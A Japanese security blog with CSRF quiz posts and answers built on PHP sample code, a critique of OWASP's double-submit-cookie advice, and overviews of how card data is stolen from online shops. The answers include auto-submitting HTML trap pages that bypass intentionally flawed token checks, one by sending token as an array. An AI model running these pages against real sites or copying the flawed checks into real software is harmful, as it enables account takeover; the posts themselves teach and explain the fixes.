2018年11月15日木曜日

問題:CSRFの防止策に関するチートシートにツッコミを入れる

この記事は「問題:間違ったCSRF対策~中級編~」の続編です。当初上級編を意図しておりましたが、後述する事情により、級の指定は外しました。

はじめに

問題は、OWASPから出ているCross-Site Request Forgery (CSRF) Prevention Cheat Sheet(JPCERT/CCによる邦訳「クロスサイトリクエストフォージェリ (CSRF) の防止策に関するチートシート」)にツッコミを入れてもらおうというものです。具体的には、このチートシート(カンニングペーパーの意)のDouble Submit Cookie(Cookie の二重送信)の箇所です。以下、JPCERT/CC訳で該当箇所を引用します。
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。
要は、ログイン時に乱数でトークンを生成しておいて、それをクッキーに保存しておく。入力フォームではクッキーの値をhiddenパラメータ等に入れて、POSTパラメータとクッキーとで同じトークン値を「二重に」送信し、受け取り側で両者が一致していることを確認するというものですね。上記にもあるように、サーバー側で状態を保持する必要がなく、RESTとの相性が良いということもあり、最近人気が出始めているようです。アプリケーションフレームワークでは、Django、CodeIgniter、FuelPHP等で採用されています。

上記の説明は技術的な間違いがあるので、それを指摘してもらおう。天下のOWASPのドキュメントにいちゃもんをつけるのだから、上級問題にふさわしい…そう思い、記事執筆の準備としてチートシートの原文(英語)を久しぶりに確認しました。

…あれ?
…大幅に改定されている
…Double Submit Cookieの位置づけも変わっている

ということで、なんと「解答」が本家のサイトに掲載されているというまぬけな状況になってしまいました。改定は今年の10月に行われたようです(改訂履歴)。

まぁ、チートシートでカンニングができるという、まことにチートシートにふさわしい状況になってしまったのですが、問題自身は面白いので、初期とか上級とか抜きにして出題したいと思います。

参考実装

読者の便宜のために参考実装を以下に示します。仕様は初級編等と同じですので、画面遷移例は初級編の記事を参照してください。
以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン時にCSRF対策用のトークンを生成してクッキーにセットします。ログイン状態で呼び出した場合は、単にログインユーザのメールアドレスを表示します。

<?php // mypage.php ログインしたことにする確認用のスクリプト
  session_start();
  if (empty($_SESSION['id'])) {
    $_SESSION['id'] = 'alice'; // ユーザIDは alice 固定
    $_SESSION['mail'] = 'alice@example.com'; // メールアドレス初期値
    $token = bin2hex(random_bytes(24));  // CSRFトークンの生成
    setcookie('token', $token);          // CSRFトークンをクッキーに保存
  }
?><body>
ログイン中(id:<?php echo
  htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
  htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)です。クッキーからトークンを取り出してhiddenパラメータにセットしています。
<?php // chgmailform.php メールアドレス変更フォーム
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $token = filter_input(INPUT_COOKIE, 'token');
  if (empty($token)) {
    session_destroy();
    die('トークンがないので再ログインしてください');
  }
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。POSTパラメータとクッキーのトークンを確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id'];
  $c_token = filter_input(INPUT_COOKIE, 'token');
  $p_token = filter_input(INPUT_POST, 'token');
  if (! hash_equals($c_token, $p_token)) {
    die('正規の画面からご使用ください');
  }
  $mail = filter_input(INPUT_POST, 'mail');
  $_SESSION['mail'] = $mail;  // メールアドレスの変更
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>
メールアドレス変更時のPOSTリクエスト例を以下に示します。
POST http://example.jp/chgmail.php HTTP/1.1
Host: example.jp
Content-Length: 79
Cache-Control: max-age=0
Origin: http://example.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://example.jp/chgmailform.php
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=onvi06g301m1o2cb1i0lgm9neg; token=fe24151956678c544bef14258407e12032ada4216f36480b
Connection: close

mail=alice%40wasbook.org&token=fe24151956678c544bef14258407e12032ada4216f36480b
クッキーとPOSTパラメータで、同じトークンが二重に送信されていることがわかります。

設問

チートシート旧版の翻訳であるJPCERT/CC訳(前述の引用部分)を元に以下の設問に答えよ。
  • 引用部分の解説には技術的な間違いがある。それを指摘せよ
  • クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答は週明けに公開予定です。

解答:間違ったCSRF対策~中級編~

この記事は、先日の記事「問題:間違ったCSRF対策~中級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

はじめに

出題時のわざとらしさから、この問題のポイントはstrcmp関数の挙動にあると気づいた方が多いと思います。

if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
そして、strcmpの引数はどちらもempty()によるチェックが入っています。また、$_SESSION['token'] は、状態遷移図(下図)により、NULLかトークン文字列(乱数)のいずれかが入っている事がわかります。
これらから、CSRF対策を通り抜ける条件は以下となります。
  • empty($_POST['token']) が偽 かつ
  • strcmp($_POST['token'], 乱数文字列) が偽
一般に$_POST['token'] が返す値の型は以下のいずれかです。
  • null型    token=がない
  • 文字列   token=foo
  • 配列      token[]=foo → array('foo') が返る
そして、null型はempty()で真を返すこと、文字列型はトークンと一致させなければならず現実には困難であることから、残る可能性として配列を試してみましょう。
以下のサンプルスクリプトを試します。
<?php
var_dump(strcmp('xyz', array('a')));
結果は以下となります。
PHP Warning:  strcmp() expects parameter 2 to be string, array given in Standard input code on line 2
NULL
警告は出ますが、strcmp関数の戻り値は NULL、すなわち偽と判定される値となることがわかります。これは凄い罠ですね。この挙動はPHPのマニュアルには載っていませんが、User Contributed Notesには掲載されています(→マニュアル)。
では、PHPのどのバージョンからこの仕様なのだろうと思ってphpallで調べたところ、PHP 5.3.0から文字列と配列の比較でNULL(警告あり)を返すようになっており、PHP 5.2までは整数 32 を返していました。この仕様変更は ChangeLog にも掲載されていないのですね。

Burp Suiteで方法を確認する

それでは、PoC(概念実証コード)を書く前に、Burp Suiteで上記のアイデアを確認しましょう。まずmypage.phpからchgmailform.phpに遷移し、トークンをセッション変数にセットします。これは、empty()によるチェックを回避するために必要になります。


次に、メールアドレスを適当に入力しますが、メールアドレス変更ボタンを押す前に、Burp Suite上で Intercept is on の状態にします。


その後メールアドレス変更ボタンを押します。下図のようにHTTPリクエストが捕捉されます。


上図の囲みの箇所で、トークンを下図のように変更します。

   
あとは Intercept is onボタンを押して(Intercept is offと表示が変わる)流しましょう。以下のように、メールアドレス変更に成功しました。


PoC作成

それでは、上記と同じ操作を再現するPoCを作成しましょう。
まず、chgmailform.phpを閲覧する操作が必要ですが、iframe要素にchgmailform.phpを表示することにより実現することにします。その後時間を置いてchgmail.phpをPOSTします。PoC例を以下に示します。
<body onload="setTimeout('document.forms[0].submit()', 5000)">
<iframe src="http://example.jp/chgmailform.php" width="250" height="100"></iframe>
<form method="POST" action="http://example.jp/chgmail.php">
<input name="mail" value="evil@example.com">
<input name="token[]" size="10" value="1">
<input type="submit">
</form>
</body>
PoCの表示例です。


5秒経過すると、自動サブミットにより、以下の状態になります。


メールアドレスが変更されていることがわかります。

対策の考え方

この記事で紹介した攻撃が成立する原因は、文字列を想定しているトークンとして配列を指定できるところにあります。これを防ぐ目的で、生の$_POSTではなく、filter_input関数を使う方法があります。
$p_token = filter_input(INPUT_POST, 'token');
こう書くと、$_POST['token']が配列の場合、filter_inputはfalseを返すので、empty()で空と判定され、エラーに倒すことができます。

また、トークンの比較にstrcmpを使うこともよくありません。これは初級編で書いていたように === を用いる方が安全ですが、もっと良い方法として、PHP 5.6で導入された hash_equals関数を使うべきです。hash_equals関数はタイミング攻撃の緩和のために導入されましたが、より現実的なメリットとして、配列やnull値など文字列以外の値が指定された場合falseを返すので、意図しない入力に対して頑健です。実装例を以下に示します。
$p_token = filter_input(INPUT_POST, 'token');
$s_token = $_SESSION['token'] ?? null;
if (empty($s_token) || empty($p_token) || ! hash_equals($s_token, $p_token)) {
  die('正規の画面からご使用ください');
}
このケースでは、empty()によるチェックはなくてもよいのですが、保険的に残しています。なくても良い理由は、empty()がtrueを返す値で、かつhash_equalsがtrueになる可能性は、トークンが空文字列(長さ0の文字列)同士で一致する場合だけですが、$_SESSION['token']が空文字列になるシナリオはないからです。

実際のアプリケーション開発の際には上記のように手作りのCSRF防御システムではなく、フレームワーク等が提供する仕組みを利用することをおすすめします。本稿で用いたサンプルは、脆弱性の説明のためにイケてない実装を採用しているので、改良したとしても本番システムでは使わないでください。

参考文献

PHPのstrcmp関数が配列を受け取った際の挙動については、OWASPのPHP Security Cheat Sheetに解説があり、JPCERT/CCの日本語訳で読むことができます。この解説の中に、Drupageddon(CVE-2014-3704)と「これとまったく同じ問題(原文はExactly the same issue)」とありますが、どうですかね。Drupageddonの原因については拙記事「DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた」を参照ください。Drupageddonと類似の問題としては「JSON SQL Injection、PHPならJSONなしでもできるよ」もあります。もっとも、PHP Security Cheat Sheetは先程見に行ったら「This page has been recommended for deletion.」と削除されていました。なかなか激しいです。
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」には、$_POSTではなくfilter_inputを用いる方がよいこと(P111)、トークンの比較にhash_equalsを用いるべきこと(P263)等が解説されています。
strcmpのPHP 5.3.0における仕様変更の状況については、海老原昂輔さんの「PHP 5.3 でネイティブ関数の引数型エラー時の返り値が変更になったけど大丈夫?」が参考になります。この記事の話は私も知っておらず、勉強になりました。(2018/11/15 12:00追記)

以上で、中級問題の解答編は終わりです。よろしければ「OWASP CSRFの防止策に関するチートシートにツッコミを入れる」にもチャレンジしてみてください。

2018年11月12日月曜日

問題:間違ったCSRF対策~中級編~

この記事は「問題:間違ったCSRF対策~初級編~」の続編です。前回同様、この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。
この問題が果たして「中級」なのかについては異論があると思います。きわめて易しいと思う人もいれば、きわめて難しいと思う人も多いと思います。中をとって中級としましたが、現実には難し目かと思います。

問題

今回の問題は、前回(初級編)のトークンチェック部分(chgmail.php内)のみを変更したものです。まずは変更箇所を説明します。

前回のおさらい
if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
今回のチェックプログラムは下記。トークンが空でないかempty()により確認していますが、トークンのチェックにstrcmpを使っているところが、なにやら匂いますねw
if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
以下は、上記を含めたメールアドレス変更プログラム(chgmail.php)の全体です。その他のスクリプト(mypage.php、chgmailform.php)は前回と同じなので、初級編を参照ください。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if (empty($_SESSION['token']) || empty($_POST['token'])
     || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

実行例は初級編と同じですので、初級編の記事を参照ください。

設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は11月15日(木)に公開予定です。

解答:間違ったCSRF対策~初級編~

この記事は、先日の記事「問題:間違ったCSRF対策~初級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。

それでは、解答を説明します。

はじめに

CSRF対策の不備として、ありがちなパターンは以下のとおりです。
  1. トークンが予測可能(ユーザIDのハッシュ値をトークンとして用いている等)
  2. 他人のトークンが利用できてしまう(参考記事
  3. トークンのチェック方法に不備がある。
問題のコードは、暗号論的に安全な乱数生成器(PHPのrandom_bytes関数)を用いてトークンを生成し、それをセッション変数に記憶しているので、上記1 と 2 は問題ないと考えられます。したがって、3 が該当しそうだと当たりをつけます。そのためには、攻撃者は以下のトークンチェック(chgmail.php内)を回避する必要があります。

if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
$_POST['token']は攻撃者が自由に設定できますが、正規のトークンの値は乱数なので予想できません。そこで、$_SESSION['token']がどのような値をとるか調べてみましょう。ログイン直後(mypage.php)にはこの変数は設定されていません。そして、PHPの場合、設定されていない変数を参照するとNULLが返ります(警告が表示され処理は継続される)。つまり、$_SESSION['token']の見かけの初期値はNULLということになります。そして、入力フォーム(chgmailform.php)に遷移するとトークンが設定され、メールアドレス変更(chgmail.php)の際にNULL(未定義)に戻ります。この様子を状態遷移図として下図に示します。
$_SESSION['token']に通常NULLが入っていることを使ってCSRF攻撃ができます。$_POST['token']がNULLであれば、上記のif文はNULL同士の比較になるので、チェックを回避できます。具体的には、POSTパラメータtokenを消してしまうことによって、$_POST['token']がNULLとなり、CSRFチェックを回避できます。

スクリプトを動かして確認してみる

ここで、Burp Suite(無償のCommunity Editionを想定)を用いて、上記を確認してみましょう。プロキシとしてBurp Suiteを設定した状態で、サンプルプログラムのメールアドレス変更を実行します。そして、chgmail.phpへのPOSTリクエストを選択し、コンテキストメニューを表示(Windowsの場合は右マウスクリック)して、「Send To Repeater」をクリックします。


下図のようにRepeaterタブが赤色表示に変わるので、このRepeaterタブをクリックします。

以下のように、HTTPリクエストの内容が表示されます。


ここで、リクエストボディ(上記赤枠の中)からtoken=以下をまるごと削除し、mail=も適当なメールアドレスに変更します(下図)。


この状態でRepeaterの「Go」ボタンを押すと、下図右半分のように、「aliceさんのメールアドレスをevil@wasbook.orgに変更しました」と表示されます。


すなわち、tokenパラメータを削除しても、更新処理が正常に完了することがわかりました。

PoCの作成

それでは、PoC(概念実証コード)を作成しましょぅ。Burp SuiteのProfessional版やOWASP ZAPにはCSRFのPoC生成ツールが利用できますが、このケースはPoCも単純なので、手で作ってしまいましょう。

要件としては、http://example.jp/chgmail.phpに対して、POSTリクエストでmail=... というパラメータを送信するだけです。そのようなHTMLを作成します。手動でサブミットでもいいのですが、以下はフォームが表示されてから5秒後に自動的にサブミットするようにしています。
<body onload="setTimeout('document.forms[0].submit()', 6000)">
<form action="http://example.jp/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input type="submit">
<form>
<body>
これを動かしてみましょう。あなたは現在被害者の立場です。mypage.phpを閲覧して対象スクリプトにログインします。


この状態で、あなた(被害者)は、CSRFの罠をうっかり閲覧してしまいました。


罠の中のJavaScript(body要素のonloadイベント)により上記FormがPOSTされ、以下のように無事(?)メールアドレスが変更されました。


参考文献

平成29年春季の情報処理安全確保支援士試験 午後Ⅰ問2(問題解答講評)にこの知識を問う問題が出題されました。たまたまこの試験を私も受けていましたw
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」のP194には、この内容についての解説があります。

以上で、初級問題の解答編は終わりです。よろしければ「中級編」にもチャレンジしてみてください。

2018年11月9日金曜日

問題:間違ったCSRF対策~初級編~

脆弱性診断の学習のお供に、比較的簡単なCSRF対策バグの問題を提供します。この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。

問題


以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン状態で呼び出すこともでき、いずれの場合でもログインユーザのメールアドレスを表示します。
<?php // mypage.php : ログインしたことにする確認用のスクリプト
  session_start();
  if (empty($_SESSION['id'])) { // ログインしたことにしてメールアドレスも初期化
    $_SESSION['id'] = 'alice';
    $_SESSION['mail'] = 'alice@example.com';
  }
?><body>
ログイン中(id:<?php echo
  htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
  htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)。CSRF対策用のワンタイムトークンを生成してhiddenパラメータtokenにセットします。
<?php // chgmailform.php メールアドレス変更フォーム
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $token = bin2hex(random_bytes(24)); // ワンタイムトークン生成
  $_SESSION['token'] = $token;
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php
 echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。ワンタイムトークン確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id']; // ユーザIDの取り出し
  if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
    die('正規の画面からご使用ください');
  }
  unset($_SESSION['token']); // 使用済みトークンの削除
  $mail = $_POST['mail'];
  $_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

以下は実行例です。まず mypage.php にアクセスすると、ログインしたことにしてセッション変数を初期化し、現在のメールアドレスを表示します。「メールアドレス変更」のリンクをクリックします。


以下の画面でメールアドレスを適当に入力し、「メールアドレス変更」ボタンを押します。


以下のように、メールアドレスが変更されたことを確認します。その後マイページに遷移して、メールアドレスの確認をするとよいでしょう。


設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は週明けに公開予定で、その際にもう少し難易度の高い第2の問題を紹介します。

2018年10月18日木曜日

クレジットカード情報盗み出しの手口をまとめた

はじめに

先日の日記「ECサイトからクレジットカード情報を盗み出す新たな手口」は多くの方に読んでいただき、ありがとうございました。この記事では、「新たな手口」ではなく、従来からある手口についてまとめてみました。

1.SQLインジェクション

古典的な手法としてはSQLインジェクションがあります。下図のように、SQLインジェクション攻撃により、DBに保存されたクレジットカード情報を盗み出します。
攻撃が成立する条件は下記のとおりです。
  • DBにクレジットカード情報が保存されている
  • ウェブサイトにSQLインジェクション脆弱性がある
いずれも、現在の観点では論外の状況と言えますのでさすがに頻度は減っています。今年6月1日から施行されたカード情報非保持化により、今後はほとんど見られなくなると予想されます。過去の代表的な事例には以下があります。



2.バックドアを設置し、ログファイル等からカード情報を盗む

次は、ログファイルなどにカード情報が記録されているウェブサイトに対して、攻撃者がバックドアプログラムを設置して、バックドア経由でログファイルをダウンロードする攻撃です。
攻撃が成立する条件は下記の通りです。
  • ログファイル等にカード情報が保存されている
  • ウェブサイトに外部から任意コード実行(RCE; Remote Code Execution)可能な脆弱性(OSコマンドインジェクション等)がある
ログファイルにカード情報を記録することがあるのかという疑問がありますが、例えば、決済代事業者から提供される決済APIをデバッグモードのまま動作させていると、カード番号等がログに記録され、それが漏洩するケースがあります。イプサ事件等が該当します。

【セキュリティ ニュース】イプサ、不正アクセスの調査結果を公表 - デバッグモードによりカード情報残存

また、OSコマンドインジェクションが今どきでもあるのかという疑問が生じますが、イプサ事件はSSI(Server Side Include)の不適切な利用が原因でしたし、またStruts2の脆弱性により複数のカード情報漏洩事件が発生しています。
この手口もカード情報非保持化により対策できるので、今後はほとんど見られなくなると予想されます。

3.バックドアを設置しDBからカード情報を盗む

2の変形ですが、バックドアからファイルを盗むのではなくDBアクセスして情報を盗む手口も見られます。下図はエイベックス・グループ・ホールディングス株式会社の「個人情報不正アクセスに関する調査報告書」P8から「図表2」を引用したものです。
バックドアプログラムを設置後に、「DB管理ソフトウェア」を設置され、バックドアにより窃取したDBのIDとパスワードを用いて外部からDBにアクセスしたとされます。
DB管理ソフトウェアとは、phpMyAdminのようなものを想像いただければよいと思いますが、現実に使われたものはAdminerではないかと推測します。AdminerはPHPファイル1個だけからなるDB管理ソフトウェアであり、設置が容易なので、元々汎用のソフトウェアではありますが、この種の攻撃には便利に使えてしまうという側面があります。

エイベックスの事件ではカード情報は窃取されていませんが、有名なサウンドハウス事件は実際にバックドアが設置され、そこからDBアクセスしてカード情報が盗まれたと報告されています。参照している報告書では、SQLインジェクション攻撃によりバックドアを作成したと推測しています。

攻撃が成立する条件は下記の通りです。

  • DBにクレジットカード情報が保存されている
  • ウェブサイトに外部から任意コード実行(RCE; Remote Code Execution)可能な脆弱性(OSコマンドインジェクション等)がある

この手口もカード情報非保持化により対策できるので、今後はほとんど見られなくなると予想されます。

4.カード情報入力フォームを改ざんして入力中のカード情報を盗む

最近の主流の方法と筆者が考えている方法です。カード情報入力フォームを改ざんして、カード情報を外部に流出させるというものです。下図は、攻撃者がECサイトを攻撃して、JavaScriptによる仕掛けを設置している様子です。


この「仕掛け」がある状態で利用者がクレジットカード情報をフォーム入力すると、確認ボタン押下などのタイミングで、入力フォーム上のデータを攻撃者が管理するサーバーに送信します。


この方法だと、「仕掛け」の設置後に入力されたカード情報のみが得られるわけですが、現実には100件もカード情報が得られれば、悪用には十分でしょう。
このパターンが日本で最初に報告されたのは、2013年3月に発生したJINSオンラインショップからのカード情報漏洩で、最大2,059件のカード情報が漏洩し、そのうち20件が悪用(未遂含む)されたとあります。
この攻撃が成立する条件は以下のとおりです
  • カード情報入力画面が改ざんできる脆弱性がある
現実には、RCE可能な脆弱性が多く用いられているようです。JINSオンラインショップ事件の場合は、Struts2のS2-016が悪用されました。
最近の主流の手口と筆者が推測する根拠としては以下のブログ記事を参照ください。
この手口は、カード情報非保持化の実装の中で、リダイレクト型では対策できる(決済代行事業者のサイトは安全と想定)ものの、JavaScript型(トークン決済)では対策できません。決済代行事業者の多くがJavaScript型決済をさかんに宣伝していることと、リダイレクト型がECサイト事業者に忌避される傾向があることから、今後もこの手口は残ると予想します。

5.カード情報入力フォームの画面遷移中に偽の入力フォームを挟む

最近、SOKAオンラインストア事件に初めて報告された手口です。概要の図のみ掲載しますが、詳しくは先日のブログ記事「ECサイトからクレジットカード情報を盗み出す新たな手口」を参照ください。


この手口はクレジットカード情報非保持では対策できないため、先のブログ記事でも言及したように、今後のカード情報窃取手口の主流となる可能性が高いと筆者は予想しています。

対策

いずれの手口も、ECサイトの脆弱性が原因ですので、まずはECサイトの脆弱性を解消することで対策になります。主なものには以下があります。
  • ECサイトアプリケーションの脆弱性解消
  • ECサイトアプリケーションが利用しているソフトウェア部品(フレームワーク等)の脆弱性解消
  • ミドルウェアやOSの脆弱性解消
しかし、カスタムアプリケーションの脆弱性をゼロにすることも困難であるということと、Struts2の脆弱性にみるように脆弱性情報発表から攻撃開始に至る期間が極めて短いケースが増えていることから、以下に示す保険的な対策をあわせて推奨します。
  • WAF(Web Application Firewall)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入
詳しくは、先日のブログ記事から「対策」の項をお読みください。

まとめ

クレジットカード情報の盗み出しの手口について紹介しました。
純粋なSQLインジェクション攻撃によるものが減少しつつある一方、SQLインジェクション以外の手口には、外部からのファイル設置やファイル改ざんが伴うことがわかります。まずは脆弱性解消が対策の基本ではありますが、ファイル改ざんを防ぐことでも被害の防止ないし緩和の効果が大きいことが理解いただけるかと思います。

PR

EGセキュアソリューションズはECサイトのセキュリティ強化のお手伝いをしています。お気軽にご相談ください。サービスメニューはこちら

2018年10月15日月曜日

ECサイトからクレジットカード情報を盗み出す新たな手口

エグゼクティブサマリ

聖教新聞社が運営する通販サイト「SOKAオンラインストア」から2,481件のクレジットカード情報が漏洩した。リリースによると、漏洩に使われた手口は従来とは異なるもので、改正割賦販売法の実務上のガイドラインである「クレジットカード情報非保持化」では対策できないものであった。

はじめに

今年の9月4日に聖教新聞社の通販サイトSOKAオンラインストアからクレジットカード情報漏洩の可能性がリリースされました。以下は聖教新聞社から運営委託されているトランスコスモス株式会社のリリースです。
「SOKAオンラインストア」の件
このたび、弊社が聖教新聞社様より運営を委託されている「SOKAオンラインストア」において、クレジットカード情報を入力して商品をご注文いただいた一部のお客さまのクレジットカード情報が、第三者によって不正に取得された可能性があることが発覚い
たしました。

https://www.trans-cosmos.co.jp/company/news/pdf/2018/180904.pdf より引用
今年の6月1日に改正割賦販売法が施行された後に起きたカード情報漏えい事件なので手口に注目しておりましたが、比較的詳細の手口が10月9日に公表されました。以下はトランスコスモス社からの続報です。
2. 調査結果と原因
調査報告書によると、聖教新聞社様より当該サイトの運営を委託されている弊社が契約しているサーバーに対して、7 月 30 日に不正ファイルを混入され、プログラムが改ざんされました。そのためお客様が商品を購入する際に、偽のカード決済画面に遷移する仕組みとなっており、カード情報を不正に取得された可能性があることが発覚しました。
また、偽のカード決済画面にてカード情報を入力して送信ボタンを押すとエラーが表示され、本来の当該サイトの画面に転送されるという非常に巧妙な仕組みになっておりました。併せて、データベースに不正にアクセスされ、個人情報を不正に取得された可能性があることも発覚しました。

https://www.trans-cosmos.co.jp/company/news/pdf/2018/181009.pdf より引用
これはとても興味深い手口です。以下、図を用いて、クレジットカード情報を抜き取る手口を説明します。

どのような手口か

筆者はSOKAオンラインストアの決済時の画面遷移は把握していないのですが、本年6月1日に改正割賦販売法が施行され、経産省の説明によると、『クレジット取引セキュリティ協議会の「実行計画」は、割賦販売法に規定するセキュリティ対策の実務上の指針と位置付けられて』いることから、最新の実行計画2018に示されている以下の二種類の方法のいずれかであったと推測します。
  • リダイレクト(リンク)型
  • JavaScript型 ※トークン型
以下に示す方法は上記のいずれにも攻撃可能ですが、ここでは、一般的にはより安全とされているリダイレクト型を想定して説明します。
下図は、リダイレクト型決済の画面遷移です。リダイレクト型の場合、カード情報の入力画面はECサイトにはなく、決済代行事業者が運営する画面に遷移した後にカード情報を入力することになります。リダイレクト型決済は、ECサイト側にカード情報入力画面がないことから、他の方法(トークン型等も含め)にくらべて相対的に安全であると考えられてきました。

次に、SOKAオンラインストアに対する攻撃の様子を下図に示します。リリースによると、「偽のカード決済画面に遷移する仕組み」を攻撃者に作れられたとしています。偽のカード決済画面がどのサイトにあったかは明らかにされていませんが、プログラムの改ざんが行われたとリリースされていることから、偽のカード決済画面をECサイト上に作成することも技術的には可能であったはずです。下図はその前提で作成したもので、偽のカード決済画面は赤い枠で示しています。

そして、決済画面への遷移を偽画面の方に誘導します。偽画面は攻撃者が作成したものなので、利用者が入力したカード情報は、図の右下に示すように、攻撃者の元に送信されます。
しかし、このままでは正常な決済が行われないため、利用者が不審に思い、問い合わせなどから比較的短期間に「仕掛け」が露呈するはずです。この攻撃が巧妙なのは、いったん「決済エラー」を表示した上で、正常系の決済画面に誘導するところです。利用者は2度カード情報を入力することにはなりますが、カード番号の入力は16桁数字を正確に入力する必要があり間違いが入りやすいので、それほどは不審に思われなかっただろうと推測されます。
この仕組みにより、リリースによると、「2018年7月30日~2018年8月24日に、カード情報を入力して商品をご注文されたお客様 2,481 名」のカード情報が漏洩した可能性があるとのことです。

従来の手口との比較

